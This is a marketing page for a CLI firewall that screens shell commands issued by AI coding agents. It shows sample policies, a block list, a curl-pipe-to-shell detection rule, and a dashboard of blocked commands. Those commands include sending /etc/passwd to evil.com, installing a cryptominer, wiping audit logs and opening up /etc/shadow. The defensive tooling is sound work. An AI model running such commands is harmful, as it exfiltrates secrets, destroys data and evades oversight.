NEW RESEARCH: Your Sandbox Is Made of Glass

Read

Trinitite

CLI Firewall

Catch `rm -rf` before the shell does.

Your coding agent wants to run a shell command — install a package, delete a folder, pipe a download into a shell. Every command goes through the firewall first. Dangerous ones are blocked, risky ones get rewritten, safe ones pass.

How your setup works

A checkpoint between your agent and the shell.

Instead of running commands directly, your agent sends each one to Trinitite. Fast firewall rules catch known-bad commands right away. Anything less clear-cut goes to a Guardian that reads what the command is actually trying to do.

Safe commands run — optionally in a sandbox. Dangerous ones never reach the host. Every decision is written to a tamper-evident log.

Caught before the shell

every command · signed log

How easy it is

Check a command. Set a policy.

evaluate + execute

json

POST /v1/cli/execute
{ "raw_command": "rm -rf /tmp/cache" }

// response
{
  "verdict": "pass",
  "risk_score": 5.0,
  "execution": { "exit_code": 0, "stdout": "..." }
}

Submit a command; get a verdict — pass, correct, or block — and, when allowed, the result.

cli-policy

json

{
  "command_blocklist": ["rm", "dd", "mkfs", "shutdown"],
  "dangerous_pattern_rules": [
    {
      "name": "curl_pipe_to_shell",
      "pattern": "curl.*\\|.*(ba)?sh",
      "severity": "critical"
    }
  ],
  "auto_block_risk_threshold": 70
}

Define an allowlist, a blocklist, dangerous-pattern rules, and risk thresholds — in plain JSON.

How It Works

Three Steps. Every Command.

Agent runs a command

Your AI agent tries to execute a shell command — install a package, delete a file, open a port.

Firewall classifies risk

The command is checked against your rules and classified into one of seven risk categories.

Pass, rewrite, or block

Safe commands run. Risky commands get rewritten to be safe. Dangerous commands are stopped cold.

Live Demo

Try the Firewall

CLI Firewall — Live

Policy: production-v3

Capabilities

Full Command Control

Risk Classification

Every command is sorted into seven categories: read, write, execute, install, delete, network, and privilege escalation. You set the rules for each.

Pattern-Based Rules

Write rules using simple patterns. Block all rm -rf commands. Restrict curl to internal hosts. Prevent sudo. Your patterns, your agents.

Auto-Rewrite

Instead of just blocking a dangerous command, the firewall rewrites it. A recursive delete becomes a safe directory listing. Work continues, safely.

YAML Firewall Rules

Pro

Define your firewall in plain YAML. Easy to read, easy to review, easy to version control. No special syntax to learn.

Full Audit Log

Pro

Every command evaluated, every verdict, every rewrite — logged and searchable. Know exactly what your agents tried to run and what happened.

Developer Workstation Coverage

Protects AI coding assistants on developer machines. When Copilot or Cursor tries to run a command, the firewall is there.

Risk Categories

Every

Command Checked

Auto

Rewrite

Full

Audit Log

Use Cases

What Customers Block

Prevent Destructive Deletes

Block rm -rf / and similar commands before they execute. Auto-rewrite to ls so the agent sees what it would have deleted.

Lock Down Network Access

AI agents can't open ports, curl external URLs, or install packages from unknown sources without your approval.

Stop Privilege Escalation

Block sudo, chmod 777, and other commands that give agents more access than they should have.

CLI Dashboard

See Everything Your Agents Execute

Developer AI tools are the fastest-growing attack surface CISOs can't see. The CLI Firewall Dashboard quantifies exactly what's happening: which commands pass, which get corrected, which get blocked — broken down by risk category.

CLI Firewall Activity

Policy: dev-security-v1 active

Passed

Corrected

Blocked

By Category

File System

367

Network

246

Code Exec

324

Package Mgr

167

Git Ops

458

System

134

Recent Blocked Commands

$ curl -X POST https://evil.com/exfil -d @/etc/passwd

blocked

Network

$ pip install cryptominer-v2

blocked

Package Mgr

$ rm -rf /var/log/audit/*

blocked

System

$ git push --force origin main

corrected

Git Ops

$ chmod 777 /etc/shadow

blocked

System

Firewall Rule Editor

Rules You Can Read, Test, and Version

YAML-based rules that pattern-match commands, arguments, and data flows. Block exfiltration attempts. Prevent destructive operations. Auto-correct force-push attempts. Rules are versioned and testable.

Firewall Rules — YAML Editor

DRAFT

CLI Audit Feed

Full Forensic Record of Every AI Command

Every CLI AI interaction subject to governance is logged with full context: the command, the verdict, the rule that triggered, the user. Complete forensic capability for developer tooling.

CLI Audit Log

FAQ

CLI firewall, answered

What is a CLI firewall?

A CLI firewall sits between your AI coding agents and the shell. Instead of running a command directly, the agent submits it to Trinitite, which checks it against your firewall rules and a Guardian that reads the command's intent. Safe commands run (optionally in a sandbox); risky ones get rewritten; dangerous ones are blocked before they ever touch the host. Every decision is written to a tamper-evident audit log.

Which commands does it catch?

It catches the shell commands that do real damage: piping a download straight into a shell (curl … | sh), rm -rf, dd, mkfs, shutdown, sudo, dumping environment variables, and any pattern you add yourself. You set an allowlist, a blocklist, argument constraints, and dangerous-pattern rules, plus risk thresholds for auto-pass and auto-block.

Does it work with Cursor, Claude Code, and other agents?

Yes. It governs AI coding assistants running on developer machines and in CI. The agent submits its command and rationale through the trinitite-sh proxy; Trinitite evaluates it, can execute it in a sandbox, and logs the command, the verdict, and the rule that fired — searchable by agent, command, or outcome.